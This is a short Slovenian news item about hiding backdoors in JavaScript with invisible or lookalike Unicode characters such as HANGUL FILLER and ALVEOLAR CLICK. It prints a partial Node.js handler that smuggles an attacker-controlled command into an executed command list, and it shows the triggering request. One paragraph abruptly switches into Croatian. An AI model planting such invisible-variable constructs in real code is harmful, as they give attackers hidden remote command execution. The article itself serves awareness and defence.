Po metodi napada Trojan Source, ki temelji na uporabi Unicode znakov, ki spreminjajo vrstni red prikazovanja dvostranskega besedila, je objavljena še ena tehnika za vstavljanje skritih dejanj, uporabna za kodo v programskem jeziku JavaScript. Nova metoda temelji na uporabi unicode znaka „ㅤ“ (koda 0x3164, „HANGUL FILLER“), ki spada med črke, a nima vidne vsebine. Unicode kategorija, v katero spada ta znak, je dovoljena od specifikacije ECMAScript 2015 za uporabo v imenih spremenljivk JavaScript, kar omogoča ustvarjanje nevidnih spremenljivk ali novih spremenljivk, ki niso razlikovane od drugih spremenljivk v priljubljenih urejevalnikih kode, kot sta Notepad++ in VS Code.
Kot primer je prikazana koda za platformo Node.js, v kateri je s spremenljivko, sestavljeno iz enega znaka „ㅤ“, skrit backdoor, ki omogoča izvajanje kode, ki jo določi napadalec: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // v resnici je navedeno „const { timeout,ㅤ \u3164}“ const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // za vejico sledi znak \u3164 ];
Na prvi pogled, kroz vanjski parametar se prenosi samo vrijednost timeout, dok niz s izvršavanim naredbama sadrži bezopasnu fiksnu listu. No, u stvarnosti, nakon varijable timeout dodjeljuje se vrijednost još jednoj nevidljivoj varijabli s kodom simbola \u3164, koja se također umetne u niz izvršavanih naredbi. Tako, u prisutnosti slične konstrukcije za aktiviranje backdoora i izvršenje vlastitog koda, napadač može poslati zahtjev oblika "https://host:8080/network_health?=komanda".
Kot še en primer je prikazan znak „ǃ“ (ALVEOLAR CLICK), ki se lahko uporabi za ustvarjanje videza, da se nakazuje izklicno znamenje. Na primer, izrazu „if(environmentǃ=ENV_PROD){“ se bo pri izvajanju v Node.js 14 vedno izkazalo za resnično, saj ne gre za preverjanje razlike, temveč za dodelitev vrednosti ENV_PROD spremenljivki „environmentǃ“. Med zavajajočimi unicode znaki so tudi „/“, „−“, „+“, „⩵“, „❨“, „⫽“, „꓿“ in „∗“.
Izvor: opennet.ru
